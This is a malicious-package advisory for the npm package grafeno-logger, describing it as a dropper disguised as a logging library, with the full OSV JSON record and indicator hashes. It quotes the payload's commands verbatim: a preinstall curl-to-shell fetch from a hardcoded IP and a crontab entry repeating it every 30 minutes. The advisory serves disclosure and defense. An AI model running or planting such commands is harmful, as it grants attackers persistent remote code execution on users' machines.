mal-2026-15506
Vulnerability from ossf_malicious_packages
Published
2026-08-28 23:01
Modified
2026-08-29 01:44
Summary
Malicious code in grafeno-logger (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413)

grafeno-logger@1.0.0 is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on npm install. The same preinstall step appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh | sh, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "package.json",
              "sha256": "43abdf44bed7babd3040be523a198a17a42bd2f949a8026ceb83234c824c9002",
              "tlsh": "3cf05cf09c20f5736b8e01312a6947b6f7e34d990f08ac445b061158e1de3e35dbe887"
            },
            {
              "path": "index.js",
              "sha256": "855cc180ead3c6a02a16861f26f0565ba6cc251f97f9fe5f9d1654c9c1423ee2",
              "tlsh": "80a002070ee872a3152dc020998340833ac4ce891528e0427188957d23c1c1189025dd"
            }
          ],
          "package_integrity": [
            {
              "filename": "grafeno-logger-1.0.0.tgz",
              "hashes": {
                "sha1": "8b0de247730a41b98045224da61c75d42a41ff75",
                "sha512_sri": "sha512-/IYgUwB1f/fCiVgCBZ9JpDtdpDlH9PYmP4/jKrobFfUTpRiZ2AnVGn6x9/KtQBJAxQHf6zvj8eMsTWz2YyrSoA=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "grafeno-logger"
      },
      "versions": [
        "1.0.0",
        "1.0.1"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-019060",
        "import_time": "2026-08-28T23:14:35.206024569Z",
        "modified_time": "2026-08-28T23:01:35Z",
        "sha256": "6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413",
        "source": "amazon-inspector",
        "versions": [
          "1.0.0"
        ]
      },
      {
        "id": "IN-MAL-2026-019113",
        "import_time": "2026-08-29T01:42:57.979113345Z",
        "modified_time": "2026-08-29T01:42:32Z",
        "sha256": "8df326d52f1b8b99223fa24f8d5b5139811235451a35d5d6bc0f67a680b5f1e1",
        "source": "amazon-inspector",
        "versions": [
          "1.0.1"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413)\ngrafeno-logger@1.0.0 is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs `curl -s 216.126.236.46/x.sh | sh` via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on `npm install`. The same preinstall step appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality \u2014 the library surface is a decoy for the install-time payload.\n",
  "id": "MAL-2026-15506",
  "modified": "2026-08-29T01:44:41.599181199Z",
  "published": "2026-08-28T23:01:35Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/grafeno-logger/v/1.0.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/grafeno-logger/v/1.0.1"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in grafeno-logger (npm)"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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